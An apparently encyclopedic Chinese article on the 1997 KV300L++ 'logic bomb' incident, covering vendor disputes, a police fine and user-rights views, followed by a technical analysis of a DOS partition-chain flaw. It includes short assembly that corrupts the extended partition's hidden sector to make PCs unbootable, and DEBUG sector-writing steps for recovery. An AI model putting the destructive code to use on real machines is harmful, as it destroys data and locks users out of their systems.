事件經過
1997年6月24日王江民先生在其主頁上發布了KV300L++版,內含邏輯炸彈。
凡是在MK300V4製作的仿真盤(盜版盤)上執行KV300L++的用戶硬碟數據均被破壞,
同時硬碟被鎖,軟硬碟皆不能啟動。
KV300邏輯炸彈可以造成電腦軟硬碟都不能啟動的現象,
當時在電腦界引起轟動。這是用常規原理不能解釋的現象。
邏輯炸彈表現
1.先破壞檔案分配表,然後修改分區表造成硬碟被鎖。
2.不做任何備份。
3.沒有任何提示。
4.在特定條件下激發(盜版盤)。
5.王江民始終沒有公開提供恢復程式。
6.如果用一般常用的修復磁碟工具,如NORTON,會造成不可逆轉的損失。
7.對其的恢復類似於CIH破壞數據的恢復,因為需要重建分區表。
8.在Windows 95環境下執行同樣會造成檔案分配表被破壞,數據損失。
處理
1997年7月23日,國內5家反病毒軟體公司(以下簡稱五廠商)在北京聯合舉行新聞發布會,一起譴責國內另一家著名的反病毒軟體公司—北京江民新技術有限責任公司(以下簡稱江民公司)。在發布會上,五廠商向多家新聞機構發放了一份“聯合聲明”,稱江民公司6月下旬發布的KV300L+ +版反病毒軟體(網路下載版)(以下簡稱KV300,本文無特殊說明,所指的均是這一特定下載版本)中含有“邏輯炸彈”,“在特定條件下對計算機實施破壞,其結果與某些計算機病毒的破壞作用相似……”。
同年7月24日,江民公司對五廠商的“聯合聲明”做出了強烈反應,認為這是“不正當的侵權行為”,並多次在各專業計算機所刊上登載“嚴正聲明”,江民公司對此的解釋是:江民公司並未在KV300中安放任何破壞性程式。五廠商所稱的“邏輯炸彈”,其實是江民公司為打擊日益猖獗的盜版軟體行為而在軟體中編制的“邏輯鎖”,這一“邏輯鎖”首先不可能對任何購買正版產品的用戶造成任何影響和損失,其次對部分盜版用戶也只是起到暫時鎖住機器的作用。江民公司特彆強調,KV300中的“邏輯鎖”與病毒沒有關係,因為病毒是具有自我複製和傳染性的破壞性程式,而“邏輯鎖”卻不會對用戶數據造成任何傷害。
1997年9月8日,公安部門認定KV300L++事件違反計算機安全保護條例之23條,屬於故意輸入有害數據,危害計算機信息 系統安全的行為,對其做出罰款3000元的決定。
相關看法
王江民口口聲聲說 KV300 L++ 裡面沒有邏輯炸彈, 只有所謂 '主動式邏輯鎖'. 似乎這樣講就不需要承擔責任了!
的確, 在中國有關計算機安全和保護軟體消費者的法律還不健全, 王江民的類似行為暫時還無法受到法律的制裁. 但我們需要進行這方面的討論. 以了解我們消費者的權利和可以採取的措施.
從計算機安全形度講. 王江民沒能確認正版用戶不會受到意外損害, 他也沒有通過適當渠道告知正版用戶避免意外損害的方法, 他只是說明受到損害時由他解鎖. 這使KV300 的正版用戶會因此存在資料失密和損失的危險. 對此, 如何賠償??
由於, KV 300 內含有可能危害消費者權利和計算機安全的'邏輯鎖'. 在國家沒有相關法律的情況下. 我們消費者有權利相互告知並通知 KV300 的潛在用戶, 選擇其他的產品, 放棄 KV 300.
修複方法
KV300邏輯鎖技術分析
要不是親自試一下,你一定不會相信。
運行下面的程式,你的機器將不能從軟碟啟動,更不能從硬碟啟動。
而這個程式僅僅修改了你的硬碟的擴展DOS分區的首隱藏扇區。
代碼如下(彙編):
code segment
assume cs:code,ds:code
org 100h
begin:
xor ax,ax
mov dx,80h
int 13h ;復位硬碟
mov ax,201h
mov bx,200h
mov cx,1
mov dx,80h
int 13h ;讀主引導扇區到200H
mov cx,ds:[3d0h]
mov [3ceh],0
mov bx,210h
mov ax,301h
int 13h ;寫擴展分區首隱藏扇區
int 19h ;快啟動
code ends
end begin
程式很短,你可以在DEBUG中輸入並運行。再編譯成“.com”之後運行。
運行之前請保存好硬碟的擴展DOS分區的首隱藏 扇區 的內容,以備將來恢復時用。
筆者是在編制一個硬碟加鎖程式時,因計算有誤而偶然發現這一點的。僅僅因為修改硬碟一個隱藏扇區,造成機器從軟硬碟都不能啟動,從未見資料提及。作者當時很驚訝。
為了解決問題,筆者按復位鍵,進入CMOS設定,將硬碟設定為未安裝,則可以從軟碟啟動,但是,使用INT13h仍不能讀寫硬碟,因此無法將被破壞的扇區復原。
筆者估計是引導過程中,讀取硬碟分區表時形成循環的緣故。理由有兩點:
1、因為僅僅修改硬碟一個扇區,造成了如此現象,而該扇區僅記錄了硬碟分區表的一些信息;
2、啟動過程中,不管從軟碟啟動還是從硬碟啟動,最終的現象都是硬碟燈常亮。因此,換用不支持硬碟分區的低版本DOS系統盤也許能夠啟動,使用2.0版的系統盤,果然可以在CMOS設定為硬碟正常安裝的情況下啟動機器,啟動後雖仍不能進入硬碟,但可以用INT13h讀寫硬碟。在DEBUG中用正常的內容覆蓋硬碟的擴展DOS分區的首隱藏扇,重新啟動機器,成功。
為什麼從軟、硬碟啟動都會造成讀硬碟分區的死循環呢?筆者為此對硬碟分區表及DOS引導過程進行了分析,提出幾點粗淺看法,供參考。
大家知道,硬碟分區表位於主引導扇區的1BEh與1FDh處,占64個位元組,共4個分區項每個表項對應一個邏輯分區,每個表項占16個位元組,其含義見表。
=====================================
偏移量 含 義
=====================================
0 引導標誌(80h表示活動分區,00h表示非活動分區,其他值非法)
1 本分區的起始磁頭號
2-3 本分區的起始扇區號和起始柱號
4 分區類型(1-DOS,12位FAT;2-XENIX;4-DOS,16位FAT,小於32M;5-擴展DOS;
6-DOS,16位FAT,大於32M;0DBh-並發DOS.
5 本分區的結束磁頭號
6-7 本分區的結束扇區號和結束柱號
8-B 本分區的相對扇區號
C-F 本分區的扇區數
=====================================
各邏輯分區首隱藏扇區與主引導扇區類似,在偏移1BEh到1DDh處,記錄兩個分區表項
第一表項對應於本分區,第二表項則對應於下一分區,各位元組含義同上。這樣,各邏輯分區通過首隱藏扇區的分區信息表串起來形成了DOS硬碟分區的所謂鏈式結構,使得DOS能夠管理多個邏輯分區。DOS引導時,不管是從軟碟啟動還是從硬碟啟動,都將搜尋這條鏈,以便為各邏輯盤建立磁碟基數表。
值得注意的是分區類型(偏移04h)中的擴展DOS分區是相對來說的,D糟相對於C是擴展DOS分區,但相對本身來說不是擴展的,因此在主引導扇區對應於D糟的分區表項中該位元組為5,在D糟首隱藏扇區此處應為1、4或6。相應地,某表項若04h位元組為5,則01-03h三位元組就記錄所對應分區的首隱藏扇區的物理地址,若04h位元組為1、4或6(此時該表項必為第一表項),則01-03h位元組記錄所對應分區的DOS引導扇區。DOS搜尋鍊表建立磁碟基數表的過程是這樣的:首先檢查分區類型,若為1、4或6,則從01h-03h取分區dos引導扇區地址,根據引導扇區和分區表信息建立該分區的磁碟基數表,然後轉向下一表項(如果有的話);若為5,則從01h-03h取該分區首隱藏扇區地址,並轉向該扇區,判斷該扇區分區表,準備建立下一分區的磁碟基數表;若04h為其他值則跳過,而調試程式運行後,04h位元組被誤置為5。引導時,DOS據此認為該表項指向下一個DOS擴展分區,於是從01h-03位元組取“下一個”分區的起始物理地址,讀取下一個分區的首隱藏扇區,而此處又被誤置為D糟的首隱藏扇區的地址,於是機器就陷於讀取D糟首隱藏扇區的死循環中。
雖然發生如此情況的可能性微乎其微,但一但出現,造成的危害不可低估,因為低版本的DOS已極度難找到,即使找到也需要對硬碟分區表了解較深,才能挽救。作為一個完善的作業系統,應該在任何情況下都是無懈可擊的,而且僅需加幾條指令就可避免如此後果,這不能不說是設計者的一個失誤。更高版本的DOS是否注意到了這一點呢?筆者為此曾用dos3.30,5.0,6.20在多種型號的機器上試驗,均出現上述現象。
雖然這是一個失誤,但我們可以利用它做一些有益的事。比如:很多硬碟加鎖軟體,雖然可以做到從軟碟啟動不能使用硬碟,但無法避免對硬碟了解較深的人通過修復主引導扇區進入硬碟,因此,要達到完全鎖住硬碟,必須做到從軟碟不能啟動機器。DOS的這個失誤為此提供了可能。筆者利用此點編寫了一個硬碟主引導程式,使得機器只能從硬碟啟動,並且必須輸入正確的口令;從軟碟啟動則當機。
首先,《失誤》文中所述DOS對邏輯分區的管理機制基本上正確的,DOS的這種鍊表式數據結構,可以說到處可見,在設備管理中、在記憶體管理中、在檔案管理中,可謂比比皆是,而且嚴格地講,不僅DOS如此,其他作業系統亦如此。文中所述方法會造成當機,這是事實,但進而就說這是DOS的一個失誤,可就不應該了。原因很簡單:在DOS的這些鍊表式結構中,不管改變了哪一個,都可能引起當機。比如:改變了記憶體鏈(即MCB鏈),使之不符合DOS的要求,則馬上就會當機。能因此就說這是DOS的失誤嗎?顯然是不合適的。作為用戶,要求DOS能在任何情況下,都能正常運行,是可以理解的,但這也是不可能的。事實上,任何一種作業系統,進而言之,任何一種軟體,都不可能做到。那么,從開發的角度,或者說從程式設計的角度,用戶要設計一個較低級(指管理上)一點的程式,使其能和DOS一起工作,甚至控制DOS的工作,可能就要牽扯到對這些鍊表的操作,怎么辦呢?一句話,必須適應DOS!(不可能讓作業系統去適應您)比如想自己去管理記憶體,就必須符合DOS的管理方式,使DOS認為是合理的,否則DOS就死了。再比如想接管DOS的磁碟管理,也必須如此,否則,雖然DOS不至於馬上就死,但會造成磁碟的混亂和數據的丟失。
其次,《失誤》文中認為這是加密的一個好方法,實際上也不然。應該說《失誤》文中談到的種種現象都確實是存在的,即:硬碟、軟碟啟動結果都是當機,硬碟燈常亮。但並不是沒有辦法解決。這裡應該先明確一點, DOS為各邏輯盤建立磁碟基數表(即建立設備管理鍊表)的過程是由IO.SYS(或IBMBIO.COM)檔案來完成的,明白了這一點,我們就可以在IO.SYS取得控制權之前,先行一步,即:對軟碟的DOS引導扇區--0面0道1扇區直接編程,就可以排除《失誤》文中所述的情況(不熟悉DOS引導過程的讀者,可參考有關專著,這裡不作敘述)。
有一個最簡單的解決辦法就是把硬碟的主引導扇區改為無效。然後就可以用軟碟啟動了,也可以用一些磁碟維護工具(或者直接用INT13H),來對硬碟工作了。比如:恢復主引導扇區和被破壞了的“擴展分區首隱藏扇區”。具體操作如下。
首先用另一台計算機,找一張格式化好的軟碟,插入A驅或B驅。按如下輸入:
C〉DEBUG
-a 100
mov ax,0301
mov bx,0200
mov cx,0001
mov dx,0000;如果您的軟碟在B驅,這裡應改為:mov dx,0001
int 13
int 3
-a 200
mov ax,0301
mov bx,0200
mov cx,0001
mov dx,0080
int 13
int 3
-g=100
執行完後,將軟碟從驅動器中取出,此時這張盤就成了"開鎖的鑰匙",將其插入“病”計算機的A驅,打開電源,啟動“病”計算機,顯然這張盤並不是系統盤,不能真正啟動“病”計算機,但待這張盤“啟動”完後(硬碟燈亮了一下,顯示器上無任何顯示),再插入真正的系統盤,關機,再重新啟動,就可以了。
當然,明白了這一道理後,可能會有更好的方法,以上就算是拋磚引玉吧。
注意:不要修改CMOS。軟錯誤當然軟解決,千萬不能將CMOS設定硬碟為未安裝 。
以上方法,已在多台機器上驗證無誤。.